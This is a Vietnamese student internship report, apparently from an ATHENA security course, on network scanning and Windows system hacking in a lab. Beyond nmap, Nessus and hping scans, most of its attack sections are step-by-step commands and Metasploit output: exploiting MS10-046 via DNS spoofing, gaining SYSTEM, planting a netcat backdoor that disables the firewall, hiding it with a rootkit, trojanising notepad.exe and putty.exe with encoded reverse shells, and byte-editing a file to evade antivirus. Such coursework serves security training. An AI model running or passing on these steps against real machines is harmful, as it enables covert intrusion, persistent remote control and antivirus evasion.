Bao cao thuc tap athena tuan 1 2-3

Đề Tài Thực Tập
SYSTEM HACKING
Người Hướng Dẫn: Thầy Võ Đỗ Thắng
Người Thực Hiện Đề Tài: PHẠM HOÀNG HẢI

MỤC LỤC
I – Giới Thiệu
1.0 Giới thiệu về ATHENA……………………………3
1.1 Giới thiệu về System Hacking………………..........7
II – Nội Dung Thực Tập Tại ATHENA
2.0 Hướng dẫn cài VMware và BackTrack 5r3………...8
2.1 SCANNING……………………………………….25
2.2SYSTEM HACKING……………………………...64
2.3TROJAN…………………………………………...89

GIỚI THIỆU
1.0 – Giới Thiệu Về ATHENA
Lịch sử:
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc
Tế ATHENA được thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí
thức trẻ Việt Nam đầy năng động, nhiệt huyết và kinh nghiệm trong lãnh
vực CNTT, với tâm huyết góp phần vào công cuộc thúc đẩy tiến trình đưa
công nghệ thông tin là ngành kinh tế mũi nhọn, góp phần phát triển nước
nhà .
Lĩnh Vực Hoạt Hộng Chính:
+ Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên
sâu quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn
quốc tế của các hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI ,
CEH,... Song song đó, trung tâm ATHENA còn có những chương trình
đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ
Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính
phủ, tổ chức tài chính,…..
+ Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung
tâm ATHENA đã là chuyên gia đảm nhận công tác quản lý hệ thống
mạng, an ninh mạng cho nhiều bộ ngành như Cục Công Nghệ Thông Tin -
Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các tỉnh, bưu
điện các tỉnh,.....

+ Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều
chương trình hợp tác và trao đổi công nghệ với nhiều đại học lớn như đại
học Bách Khoa Thành Phố Hồ CHính Minh, Học Viện An Ninh Nhân
Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an toàn
thông tin (VNISA), Viện Kỹ Thuật Quân Sự ,......
Đội Ngũ Giảng Viên:
+Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các
trường đại học hàng đầu trong nước .... Tất cả giảng viên ATHENA đều
phải có các chứng chỉ quốc tế như MCSA, MCSE, CCNA, CCNP,
Security+, CEH,có bằng sư phạm Quốc tế (Microsoft Certified
Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ điều kiện tham
gia giảng dạy tại trung tâm ATHENA
+Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật
kiến thức công nghệ mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan,
Singapore,... và truyền đạt các công nghệ mới này trong các chương trình
đào tạo tại trung tâmATHENA

1.1 – Giới Thiệu Về System Hacking
Hiện nay, rất nhiều người sử dụng máy tính hệ điều hành Windows
như WIN XP, WIN 7 và các ứng dụng văn phòng như Microsoft Office
2003,2007,… cho công việc hang ngày.
Tuy nhiên những hệ điều hành trên và các ứng dụng Microsoft Office
đó sẽ có những lỗ hổng bảo mật.
Và các hacker sẽ lợi dụng điều đó để xâm nhập trái phép vào máy nạn
nhân để đánh cắp thông tin cũng như phá hoại.
Đề tài System Hacking này sẽ giúp các bạn hiểu được cách hacker
xâm nhập và khai thác các lỗ hổng trên như thế nào.
Và làm sao có thể khắc phục được các lỗ hổng và bảo vệ được máy
của mình nếu như có xâm nhập trái phép xảy ra.

NỘI DUNG THỰC TẬP
2.0 – Hướng dẫn cài VMware và BackTrack 5r3
Cài VMware:
Bước 1: Các bạn download phần mềm VMware worksations trên mạng
về và cài đặt như bình thường.
Bước 2: Thiết lập CẤU HÌNH MÁY ẢO cho phần mềm:
Chọn Create a new virtual Machine:

Chọn Next, rồi chọn i will install the operating system later
Chọn Next, chọn HDH mà bạn muốn cài, ở đây mình chọn WINXP

Chọn Next > chọn Browse để lưu file ( chọn ổ nào trống tầm 10G là đẹp ko
nhất thiết là ổ đĩa C )

Nhấn Next chọn dung lượng ổ cứng (cái này tùy mọi người chọn nhé )

Chọn Next > chọn custumize hardware, mục này nhiều cái hay lắm
Xong rùi chọn Close rồi chọn Finish là xong!

Bước 3: CÀI HỆ ĐIỀU HÀNH CHO MÁY ẢO
Cài trực tiếp từ đĩa winxp.iso,vào menu VM chọn settings chọn CD/DVD
chọn đường dẫn là đĩa winxp.iso cần cài:

Chọn OK rùi chọn nút màu xanh như hình dưới chọn power on để cài Win.

Quá trình cài windows y chang cài trên máy thật thế là xong

Nhập vào đoạn text sau để chuyển sang giao diện đồ họa [startx]
Click chọn install trên desktop để tiếp tục cài đặt các thông số như ngày giờ,
ổ đĩa và ngôn ngữ > Xong.
Nếu muốn sử dụng lệnh thì có thể mở Terminal.Hình màu đen ở thanh trên
cùng nhỏ nhỏ

SCANNING
Bài1: Nmap Scanning
1. Mục Đích:
- PCattacker sửdụnghệđiềuhành BackTrack5,trongđó đã đượcinstall mặc
địnhchươngtrìnhnmap. Ngoài ratacó thểdownloadvà càiđặt nmap có thể
installtrênWindow vàLinux.
- Mụcđíchbàilab: sử dụngNmapđểxácđịnhcácthôngsố hệ điềuhành, port, dịchvụ
tươngứngvới…
- Nmaplà mộttrongnhững networkscannerrất hiệuquả.Thông quanmapta có
thểthực hiện quátrìnhscanvới cáckỹ thuậtkhácnhaunhư SYN scan,TCP
Connectionscan,Xmas scan,Null scan…
2. Cácbướcthựchiện
- Ta có thểsử dụngnmaphỗ giao diệnđồ họavàgiao diệndònglệnh. Giao diện
dòngđồ họasửdụng chươngtrìnhzendmap.Cònở giao diệndònglệnhthìta sử dụng
câulệnh nmap.

- Bước1:taxemgiúp đỡ của câulệnh NMAP
- Bước2:thựchiện quátrìnhpingsweep cho đường mạng192.168.1.0/24để
xácđịnhcác hostđang có trongđường mạng bằngcâulệnh“nmap -sP-v
172.16.34.1/24”

- Bước3:Ta cần xácđịnhxemở IP172.16.34.18đang có nhưngport nào đang
mở.Đểlàmviệcnày ta có thể sử dụngcácdạngscankhácnhau. Vídụở đây tasử
dụngkỹthuậtSYN scanvới câulệnh “nmap –sS172.16.34.18”

- Bước4:xácđịnhgiátrị porttrongquátrìnhscan. Mặcđịnhchươngtrìnhsẽ scantất
cảcác port. Ví dụtacần xácđịnh trongđườngmạng172.16.34.1/24 thìđang có
bao nhiêumáyđangmở port445,139,80,3389tacó thểsử dụng câulệnh “nmap-
sT -p 445,139,3389172.16.34.1/24”

- Bước5:Sử dụngnmapscanđường mạngvới IPPublic bên ngoài với câulệnh
“nmap -sS-p 80222.253.166.1/24> /root/Desktop/scan_adsl.txt” . Như vậy
kết quảscansẽđượcghi thànhfile scan_adsl.txt

- Bước6:Sử dụngnmapđểxácđịnhcác thôngsố của cácứng dụngđượctriển khai
trênserver. Ta sử dụng“nmap-p 1-65535-T4-A -v192.168.0.4”

- Bước7:Trong nmaphỗ trợ sử dụng các scriptsđểnscanmột lỗi ứng dụng nào đó.
Đầutiênta có thểsử dụng câu lệnh “locatenmap” đểxácđịnhcácfilescript
đangđượchỗ trợ trong nmap. Ví dụ ta cóthểsử dụngkiểm tralỗi ms08-067của
cácmáytrongđườngmạng“nmap -sT --script smb-check-vulns.nse -p 139,445
172.16.34.1/24”
Ngoài ra ta có thể kiểmtraxemtrongmạng có máy nào đangchuyểncard mạng
sangPromicious modeđểsniffertraffictrênđườngtruyền“nmap --script sniffer-
detect172.16.34.1/24”

- Bước8:Trong quátrìnhscanta nênthayđổi cácgiátrị IPsource,lưulượnggói tingửi
trongthời gian1giây, thực hiện phânmảnh gói tin,giảthôngsố ttl. Vídụ

tathựchiện câulệnh “nmap -sS-p 3389,445,139,23,22,80--max-rate 50-S
10.0.0.1192.168.1.78 -ttl 128-f-e eth0-Pn”
-sS :SYN Scan
-p:port
--max-rate:luuluong maximumpersecond
-f:fragment
-S:Spoofing IPaddress
-e:xac dinhinterface
-ttl:xac dinh giatri ttl (macdinh window la 128)

Bài 2:ScanningNmapThôngQuaProxyChains
1. Mục đích bài lab
- Sơđồ bàilabnhư sau:
192.168.1.0/24

- PCattacker sửdụnghệđiềuhành BackTrack5,trongđó đã đượcinstall mặc
- Mụcđíchbàilab: tacấuhình côngcụproxychainlàmlocal proxy chươngtrình
nmap. Proxy chainsẽkết nốiđếnmột Proxy Server ngoài mạnginternet. Như
vậythì nmapsẽscan victimserverthông quamột proxy server.
- Bước1:Install và Configure Proxychains.Nếunhư máylinux ta chưacó install

Proxychains,tathựcthi câulệnhbên dưới
nhanld@nhanld-laptop:~$sudo su
[sudo]password for nhanld:
root@nhanld-laptop:/home/nhanld# apt-get installproxychains
Vịtrí file cấuhình cho proxychainstại /etc/proxychains.conf
nhanld@nhanld-laptop:~$gedit /etc/proxychains.conf
Tasẽbỏ dấu# trướcdòngstrict_chaintrongfile cấuhình.
Tìmkiếmmộtsố trangwebcungcấp proxyserver.Proxychains hỗ trợ cácphương
thứclà HTTPProxy,SOCK 4vàSOCK 5.Tacó thểdùngcáctừ khóađểtìmkiếm
trênGoogle“freeproxy server list” hoặc“freeproxy server listsock”
- CấuhìnhProxyChains hỗ trợ cácdạng Proxy. Vídụ,tasẽthêm mộtsố dòngvào
file/etc/proxychains.conf
http94.23.236.21780 http
83.216.184.132 8080
sock5203.206.173.41080

sock485.119.217.1131080
sock4201.55.119.431080
- Bước2:Install Nmaptừ Source. Tacó thểdownloadsourceNmaptừ
trangwebhttp://nmap.org/download.html. Thựchiệnquátrìnhinstall từ source,ta
chọninstall vào đường dẫnlà/opt/nmap
nhanld@nhanld-laptop:~$cd/home/nhanld/Download
nhanld@nhanld-laptop:~$tar xvfnmap-5.51.tar.bz2
nhanld@nhanld-laptop:~$cdnmap-5.51
nhanld@nhanld-laptop:~$mkdir /opt/nmap
nhanld@nhanld-laptop:~/Downloads/nmap-5.51$./configure–

prefix=/opt/nmap
nhanld@nhanld-laptop:~/Downloads/nmap-5.51$make
nhanld@nhanld-laptop:~/Downloads/nmap-5.51$sudo makeinstall
- Bước3:dùng Nmapscanthông quaProxychains. Đểthựchiện câulệnhscan
bằngtool nmapthông qua proxychains,ta nhậpvào câulệnh proxychains và
tiếptheolà câulệnhcủaNmap
root@nhanld-laptop:/home/nhanld/Downloads/nmap-5.51#proxychains
nmap -sS 27.0.12.130
ProxyChains-3.1(http://proxychains.sf.net)
StartingNmap 5.51( http://nmap.org) at 2011-06-1416:27ICT
Warning:File ./nmap-services exists, but Nmap is using
/opt/nmap/share/nmap/nmap-services for securityand consistency
reasons.set NMAPDIR=.togive priorityto files in your local directory
(may affect the other data filestoo).
Nmap scan report for mail.kaka.vn (27.0.12.130)
Host is up (0.11s latency).
Not shown:991closed ports
PORT STATE SERVICE
21/tcp openftp
42/tcp filtered nameserver

80/tcp openhttp
111/tcpopen rpcbind
135/tcpfiltered msrpc
139/tcpfiltered netbios-ssn
445/tcpfiltered microsoft-ds
3306/tcp open mysql
8888/tcp open sun-answerbook

Bài 3: Nessus Scanning
- Nessus Clientvà Serverta có thể sử dụngtrêncùng1 PC hoặctrên2PC. Máy
victimtrongbài Labsử dụnglà máy Window

- Nessuslà mộttrong những côngcụhỗ trợ adminscan các vulnerable của hệ
điềuhành, cácứngdụng… khátốt. Ngoài ra ta có thểsửdụngcáccôngcụ
khácnhư OpenVAS,GFILanguard
- Bước1:Đầutiên tasẽdownloadvàđăngkýActivation Codetại trangweb
http://www.tenable.com/products/nessus. Cácthao táccấuhìnhcủa
Nessussẽđượcthựchiệntrên nềngiao diệnweb.
- Bước2:Saukhicàiđặtxong,tasử dụngtrìnhduyệtwebkếtnối vào
https://localhost:8834đểđiềukhiểnNessus

- Bước3:Tiếptụcđịnh nghĩara usernamevà password
- Bước4:Nhậpvào ActivationCode

- Bước5:Sauđó chươngtrinhsẽ downloadvềcác Pluginđểsử dụngscan

Bước6:Cấu hìnhNessusscanvulnerable của hệđiềuhànhvàứng dụng. Cácbước
chínhtacần cấu hình:
oTạo Policyvà chọnphươngthứcscan.
oChọnđốitượngscan
oKiểmtrakết quảvà xuấtreport
ĐầutiêntaloginvàoNessusbằng cáchsử dụngđườnglink https://localhost:8834

Clickvào Policies, clickvào Add,địnhnghĩara một profilescan.Ở đâytađịnh
nghĩara profile có tênlàAthenaScan.

Nhậpvào usernamevà passwordxácthựcđểscan(ta có thểscanđượcnhiềulỗi
hơn)hoặctakhôngnhậpusernamevàpassword.

ChọnWindows:Microsoft Bullentinsđể scancác lỗi củahệđiềuhành Window.
Thôngtindatabasetađểmặcđịnh.

- Bước7:Tiếptụcta Clickvào SCANS,xácđịnhPolicylà AthenaScan,Scan
Target nhậpvào IP 192.168.1.236đểcấu hìnhcácđốitượng đểscan.
- Bước8:Cuối cùngta xemkết quảscanvàxuấtreport

Bài:Hpingscanning
- Sơđồ bàilabnhư sau:
- PCattacker sửdụnghệđiềuhành BackTrack5,trongđó đãđượcinstall mặc
- Mụcđíchbàilab: sử dụngHpingđểxácđịnhcácthôngsố hệ điềuhành, port, dịchvụ
tươngứngvới. Ngoài ra Hpingcho phépta tạo ra nhữnggói tintheoý mìnhvà
dễdàngđiều chỉnh lưulượng
- Bước1:Hpinglà mộttrongnhững công cụ scantốt.Nó cho phéptatạo ra các gói
tintheoý muốn, điềuchỉnhsố lượnggói tingửi… Mặcđịnhhping2,hping3đượccàiđặt
mặcđịnhtrongBack Track5. Tacó thểxemgiúpđỡ bằng câulệnh “hping3--help”

-
Bước2:Sử dụnghpingđểgửistandardICMPpacketđến target. Bằng câulệnh
“hping3–icmp –c 4athena.edu.vn”

- Bước3:Tiếptheotasử dụnglại câulệnhở trênvà thêmvào 2 biến
o–dkíchthướcdatatronggói tin
o–Vhiển thịthôngtin đầyđủ
- Bước4:Sử dụng biến –jđểxemkếtquảoutput dạng hexa decimal

- Bước5:Sử dụnghping3gửiSYN packetđếnmột host. Tasẽthêmbiến–S và–
pđểxácđịnhgiátrịport25. Trênmàn hìnhtasẽnhậnđược4 packetvới“SA” flag. Với
giátrị SYN/ACK trảvềnghĩalà port này Open. Câulệnh ta phải nhập vào là“hping3 –
S–p 25–c 4 athena.edu.vn”
- Bước6:Attacker gửi ACK Probevới giátrịsequence numberrandom. Nếunhư
khôngcó packet response nghĩa là portđược filter (có stateful firewall).Nếu
RSTpacket reponsenghĩa là port khôngcó được filter (khôngcó firewall)Ta có
thểxácđịnhthêm giátrịsourceport cho câulệnh AckScanở trênbằng biến
–s. Ví dụtasẽnhậpvào câulệnh “hping3–A –p 25-s 5555–c4athena.edu.vn”

- Bước7:Ta có thểspoofing IPbằngbiến–a.Ví dụ tanhậpvào câulệnh như sau
“hping3-S-p 80-s 5555-a 192.168.1.121-c 10192.168.1.254”
Nếunhư tasửdụngwireshark capturetrafficthì sẽthấytrafficgiữa2IP
192.168.1.121và IP192.168.1.254

- Bước8:Đểscan cùng1lúc nhiều portthì tasẽsử dụngoption--scan[port cần scan].
Ví dụ“hping3 –S–scan 80,443,25,85-90–Vathena.edu.vn”

2.2 System Hacking
I. Mụ c tiêu bài lab
-Mô hìnhbàilab
- Mụcđíchbàilab: tasẽthử thựchiện tấn côngvào 1máyWindow XP (victim), sauđó
thựchiệnuploadNetcatBackdoorđểđiềukhiểnvictim, tiếptục tasử dụngcông cụ
Rootkitđểẩnđi process củanetcat
- Máyattacker sử dụng chươngtrìnhMetasploit đãđượccàiđặtsẵn.

II.Các bước thực hiện
1. Chuẩn bịMetasploit
- Tasử dụnglỗi shortcutMs10-046đểkhaitháclỗi,tasẽthực hiệnnhư sau:
root@bt:/pentest/exploits/framework3#msfconsole
msf >search lnk
msf>use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
msf>set payload windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader)>set LHOST192.168.1.10
LHOST =>192.168.1.10
msf exploit(ms10_046_shortcut_icon_dllloader)>set SRVHOST192.168.1.10
msf exploit(ms10_046_shortcut_icon_dllloader)>exploit -j
[*]Exploit runningas backgroundjob.

[*]Startedreverse handler on192.168.1.10:4444
[*]
[*]Sendvulnerable clientsto 192.168.1.10EPzSUxdEj.
[*] Or,get clientsto saveandrendertheiconof http://<your
host>/<anything>.lnk
[*]
[*]UsingURL:http://192.168.1.10:80/

[*]Server started.
- Bâygiờ làmsao đểclient connectvào server192.168.1.0. Tacó thểchọn giải
pháplà sử dụngDNS spoofing
2. Cấuhình EttercapDNS Spoofing
- Ta cấuhìnhfileetter.dns (/usr/share/ettercap/etter.dns)với IP củatrang
www.google.comlà IPcủaattacker 192.168.1.10bằng cáchthêmvào 2dòng sau
www.google.comA192.168.1.10
www.google.comPTR192.168.1.10
- Thựchiệnquátrình dns spoofing
Ettercap-T -q –Marp:remote–P dns_spoof –i eth0/192.168.1.11///
- Tại máy client nhậpvào trangweb www.google.comvà hiệnra mànhình giống
nhưbên dưới

3. Kiểmtra metasploit
- Metasploit trả ra chotacác dònglog nhưbêndưới
msf exploit(ms10_046_shortcut_icon_dllloader)>[*]Sending UNCredirectto
192.168.1.11:1655...
[*]SendingUNCredirectto 192.168.1.11:1655...
[*]Respondingto WebDAV OPTIONS requestfrom192.168.1.11:1660
[*]ReceivedWebDAVPROPFIND request from192.168.1.11:1660/EPzSUxdEj

[*]Sending301for /EPzSUxdEj...
[*]ReceivedWebDAVPROPFIND request from192.168.1.11:1660/EPzSUxdEj/
[*]Sendingdirectory multistatus for /EPzSUxdEj/...

[*]ReceivedWebDAVPROPFINDrequest from192.168.1.11:1660/EPzSUxdEj
[*]ReceivedWebDAVPROPFIND request from192.168.1.11:1663
/EPzSUxdEj/desktop.ini
[*]Sending404for /EPzSUxdEj/desktop.ini ...
[*]SendingLNK fileto 192.168.1.11:1663 ...
/EPzSUxdEj/vncuNN.dll.manifest
[*]Sending404for /EPzSUxdEj/vncuNN.dll.manifest...
[*]SendingDLLpayload192.168.1.11:1663...

/EPzSUxdEj/vncuNN.dll.123.Manifest
[*]Sending404for /EPzSUxdEj/vncuNN.dll.123.Manifest ...
[*]Sendingstage(752128bytes)to 192.168.1.11
[*]Meterpreter session 1opened (192.168.1.10:4444->192.168.1.11:1664)at
2011-07-2010:22:16 +0700
msf exploit(ms10_046_shortcut_icon_dllloader)>sessions-l

Active sessions
===============
IdType Information Connection
------ ----------- ----------
1 meterpreter x86/win32NHANLD-XPnhanld@ NHANLD-XP
192.168.1.10:4444-> 192.168.1.11:1664
msf exploit(ms10_046_shortcut_icon_dllloader)>sessions-i 1
[*]Startinginteractionwith1...
- Kiểmtra mộtsố thôngtincủamáyvictimvà nângquyền
meterpreter >getuid
Server username:NHANLD-XPnhanld
meterpreter>getprivs
=====================================================
======= EnabledProcess Privileges
=====================================================
======= SeDebugPrivilege

SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SeIncreaseBasePriorityPrivilege

SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SeUndockPrivilege
SeManageVolumePrivilege
meterpreter>getsystem
...gotsystem(via technique
1).meterpreter>getuid
Server username:NTAUTHORITYSYSTEM
4. Sử DụngNetcatlàmbackdoor vàhxdef100rootkit
- Ta chuẩn bi sẵnfilenc.exeđểupload. FilenàytrongBT5nằmtại vịtrí
/pentest/windows-binaries/tools
meterpreter>pwd
C:DOCUME~1nhanldLOCALS~1Te

mp meterpreter >cd
C:WINDOWSHelp meterpreter
>mkdirnetcat
Creating directory: netcat
meterpreter >cd netcat
meterpreter >pwd
C:WINDOWSHelpnetcat
meterpreter>upload/pente
st/windows-
binaries/tools/nc.exe
[*]uploading:
/pentest/windows-
binaries/tools/nc.exe ->.
[*]uploaded :/pentest/windows-binaries/tools/nc.exe ->.nc.exe
- Tasẽtạo ra mộtfile nc_scripts.bat có nộidungđơngiảnnhư sau
@echo off
netshfirewall setopmodedisable
nc.exe-l -v -p4444-e cmd.exe
- Tạo ra mộtfile nc_scripts.vbs có nội dungnhư sau

SetWshShell=CreateObject("WScript.Shell")
WshShell.Runchr(34)
&"C:WINDOWSHelpnetcatnc_scripts.bat"&Chr(34), 0
SetWshShell=Nothing
- Upload2file nàyvào máyvictim
meterpreter>upload/root/Desktop/nc_scripts.bat .
[*]uploading: /root/Desktop/nc_scripts.bat->.
[*]uploaded :/root/Desktop/nc_scripts.bat ->.nc_scripts.bat
meterpreter >upload/root/Desktop/nc_scripts.vbs .
[*]uploading: /root/Desktop/nc_scripts.vbs->.
[*]uploaded :/root/Desktop/nc_scripts.vbs->.nc_scripts.vbs
- Tasẽsử dụng metasploit upload2file nàyfolder vào C:WINDOWSHelp
- Tiếptục tasẽupload rootkit hxdef100:bao gồmmộtfilecấuhìnhvà mộtfile
thựcthi

+file cấuhìnhđểẩn process của chươngtrìnhnc.exevàfilethựcthi của
chươngtrình
meterpreter>upload/root/Desktop/hxdef100.ini .
[*]uploading: /root/Desktop/hxdef100.ini->.
[*]uploaded :/root/Desktop/hxdef100.ini->.hxdef100.ini
meterpreter >upload/root/Desktop/hxdef100.exe .
[*]uploading: /root/Desktop/hxdef100.exe->.
[*]uploaded :/root/Desktop/hxdef100.exe->.hxdef100.exe
- Start netcatbackdoor thông quanc_scripts.vbs(start2chươngtrìnhlà nc.exe
và cmd.exe)và rootkit
meterpreter >shell
Process 2868created.
Channel28 created.
MicrosoftWindows XP[Version5.1.2600]
(C) Copyright1985-2001Microsoft Corp.
C:WINDOWSHelpnetcat>start nc_scripts.vbs
start nc_scripts.vbs

- Kiểmtra portvà cáctiếntrìnhđang hoạtđộngtrongmáybằnglệnhnetstat–
ano vàtasklist thì tathấy portvà dịchvụ bấtthường

- Khởi độngrootkitđểẩnprocess nc.exevà ẩnđifilethựcthi củachươngtrình
netcat
C:WINDOWSHelpnetcat>start hxdef100.exe
start hxdef100.exe
- Takiểmtralại process thì thấytiến trìnhnc.exeđã đượcẩnđi.

- Attacker sử dụng chươngtrìnhtelnethoặcchươngtrìnhnetcat đểconnect
điềukhiểnmáyattacker
root@bt:/opt/framework3/msf3#telnet192.168.1.114444
Trying192.168.1.11...
Connected to 192.168.1.11.
Escape character is '^]'.

MicrosoftWindows XP[Version5.1.2600]
(C) Copyright1985-2001Microsoft Corp.
C:WINDOWSHelpnetcat
>C:WINDOWSHelpnetca
t>

5. Tạo ra backdoor vàuploadbằng metasploit
- Ta chuẩn bị mộtfileđểghépbackdoor vào. Vídụtasử dụng chươngtrình
notepad.exe
- Sử dụng câulệnhsauđểtạo ra backdoor
root@bt:/opt/framework3/msf3# ./msfpayload
windows/meterpreter/reverse_tcp
LHOST=192.168.1.10LPORT=4455R |
./msfencode -e x86/shikata_ga_nai -c 3-t exe -x
/root/Desktop/NOTEPAD.EXE-
o /root/Desktop/backdoor_notepad.exe
[*]x86/shikata_ga_nai succeeded withsize317 (iteration=1)
- Trong metepreter tacó thểsử dụngcâulệnhrun schedulemeđểupload

backdoor và cho backdoor startupvới hệthống.
meterpreter>run scheduleme –h
Đểhiểnthị cácgiúp đỡ của câulệnh
meterpreter>run scheduleme -e /root/Desktop/backdoor_notepad.exe-s
[*]Uploading/root/Desktop/backdoor_notepad.exe....
[*]/root/Desktop/backdoor_notepad.exeuploaded!

[*]SchedulingcommandC:DOCUME~1nhanldLOCALS~1Tempsvhost72.exe
to runstartup.....
[*]Thescheduledtask has been successfully created
[*]For cleanuprunschtasks /delete/tn syscheck15 /F
- Lúcnàybackdoor notepadđãđượckíchhoạt,tatiếptụcsử dụngtính năng
multi/handlerđểchờ đợi kết nối củavictim
msf exploit(ms10_046_shortcut_icon_dllloader)>use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
payload=>windows/meterpreter/reverse_tcp
msf exploit(handler)>set LHOST192.168.1.10
msf exploit(handler)>set LPORT4455
LPORT=>4455
msf exploit(handler)>exploit-j
[*]Exploit runningas backgroundjob.
- Restartlại máyvictim,lúc nàykếtnối màtađãsử dụngthông qualỗi ms10-046

đã bị mất. Sauđó victimtự độngtạo rareverser connectionđếnmáyvictim.msf
exploit(handler)>
[*]Sendingstage(752128bytes)to 192.168.1.11
[*]Meterpreter session3opened (192.168.1.10:4455 ->192.168.1.11:1025)at
2011-07-2012:08:20 +0700
- Nếunhư takiểmtradịchvụ và các kếtnối của máyclientthìtasẽthấyđiềubất
thườngở đâylà mộtdịchvụlạ xuất hiện

TàiliệuHọcHackerMũTrắng-AEHTạiATHENA.GV:LêĐìnhNhân

2.3 VIRUS TROJAN
Bài:By PassAnti Virus
I. Mục đích bài lab
- Hầuhết cácchươngtrìnhchốngvirus đều nhậndạngfilelà chươngtrình
độchạidựatrênsignature databaseđượcupdatethườngxuyên
- Cáccông cụcầnthiết cho bài lab. Các công cụ nàytacàiđặttrong1máy
tính
oDsplit:đượcsử dụngđểcắt cácfilethànhnhiềuphầnvớiđộ dàităng
dần.
oHex Editor:để sử dụng phân tích chươngtrìnhvàthayđổi các giátrị
trongfile
oChươngtrìnhscanvirus đểkiểmtra. Trongbài labnàytasẽsử dụng
chươngtrìnhAvast
o1FileđượccácchươngAVcảnhbáo. Trong bài labtasẽsử dụng
chươngtrình“IceGoldFreezer”
oCáccông cụscan virus onlineví dụnhư trangweb
www.virustotal.com
II. Cácbướcthựchiện
- Tathử scanfile“Ice GoldFreezer” bằngtrangweb www.virustotal.comthì
24/43chươngtrìnhnhậndạng đâylàMalware

- Copysource“IceGoldFreezer” vào folder chứasourcechươngtrìnhDsplit
tathựchiện quátrìnhcắtfilethành cácđoạnvà sử dụngAvastscancác file này.
Thông quaquátrìnhnàytasẽướclượngđượcsignature nhậnvirus sẽ nằmở phần
nào trongfile.

- Tasử dụngAvastscantất cảcác fileđãđượccắtra vàxácđịnh file nào bắt
đầutừ bytenào thì filebị nhận là Virus

- Theo kết quảmàn hìnhở trênthì từ byte thứ 102000thì chươngtrình
đượcnhận là virus. Taxóahết cácfileđã đượccắt nhỏ.
- Tiếptục tasẽkiểmtraxemtừ byte 101000đến 102000thì như thế nào ?
Tasử dụngkhoảngtănglà100 byte.
- Tascancác filevừa đượctạo ra bằngAvastmộtlầnnữa

- Kết quảthuđượclà từ file 101900đến 102000được nhận là virus.

- Tatiếptục kiểmtra phânđoạntừ 101800 đến 101900với khoảngtănglà
10byte và scan lại.

- Kết quảthuđượclà từ file 101820sẽ được nhận là virus.
- Tasẽtiếptục phântíchtừ file 101810 đến101820 với khoảngtănglà 1 byte
như thế nào ?

- Đếnđâythìtađãxácđịnhđượcbyte101819đượcxácđịnhlà có virus

- Tasẽthayđổi giátrị101819thành mộtgiátrịkhác. Ở đâytasẽđánhthêm vào
2lần phímspacebar.Ta sẽ thấyxuất hiện thêm 2giá trị hexa là2020 trên
màn hình.

- Sauđó tathử uploadchươngtrìnhlênvirustotalvàkiểmtra kết quảscan ta
đượctỷlệ7/42AV nhậnđâylàvirus

Bài :TạoTrojan bằng Metasploit
- Mụcđíchbàilab: sử dụngcông cụ msfpayloadvà msfencodecó trong Metasploit
đểtạo rafileTrojan. Ta chuẩn bịfilethựcthiexe nào đó. Vídụnhư ở đâytasử dụng
chươngtrìnhputty.exe
- Sử dụng msfpayloadđểtạo backdoor. Sauđó tasử dụng msfencodeđểby pass
antivirus
- Sơđồ bài lab
234
Attacker
192.168.1.0/24 Victim
- Đầutiênta copyfile putty.exevào trongmáy backtrack5. Tathựchiệncâu
lệnhbên dưới với giátrịLHOST là IP củaattacker,LPORTlà portmà máy
attackersử dụngđểquảnlý kếtnối. “./msfpayload
windows/meterpreter/reverse_tcp
LHOST=192.168.1.234LPORT=4455R |
./msfencode -e x86/shikata_ga_nai-c 3-t exe -x /root/Desktop/putty.exe-o
/root/Desktop/putty_backdoor.exe“

- Saukhi tạo xong backdoor bướckếtiếplà làmsao gửifile backdoor nàyđến
victim. Ví dụở đâytastart dịchvụ apache2và copyfile nàyvào trongfolder
/var/www
- Khởi động dịchvụapache2và kiểmtra downloadfile

- Saukhitađã chuẩnbịxong mọi thứ tasửdụngtínhnăng
“exploit/multi/handler” đểquảnlý cáckết nối từ máyvictimđếnmáy
attacker.
msf>use exploit/multi/handler
msf exploit(handler)>set payload windows/meterpreter/reverse_tcp
payload=>windows/meterpreter/reverse_tcp msf
exploit(handler)>set LHOST192.168.1.234

msf exploit(handler)>set LPORT4455
LPORT=>4455
msf exploit(handler)>exploit–j
- Victimthựcthi fileputty_backdoor.exethì tại máyattacker sẽcó được1 kết
nốiđiềukhiển.
- Tiếptục ta nhậpvào câulệnh “run post/windows/escalate/bypassuac” thì
metasploit sẽtạo ra1sessions mới.
- Ta kết nối vào sessionssố 5bằng cách nhậpvào câulệnh“background” và
“sessions–l” và“sessions –i 5”

- Thông qua kếtnối mới ta nhậpvào các câulệnhgetprivs,getsystem,getuidđể
ta có quyền systemvới máyvictim.

Bao cao thuc tap athena tuan 1 2-3

Recommended

Recommended

More Related Content

What's hot

What's hot (19)

Similar to Bao cao thuc tap athena tuan 1 2-3

Similar to Bao cao thuc tap athena tuan 1 2-3 (20)

Recently uploaded

Recently uploaded (20)

Bao cao thuc tap athena tuan 1 2-3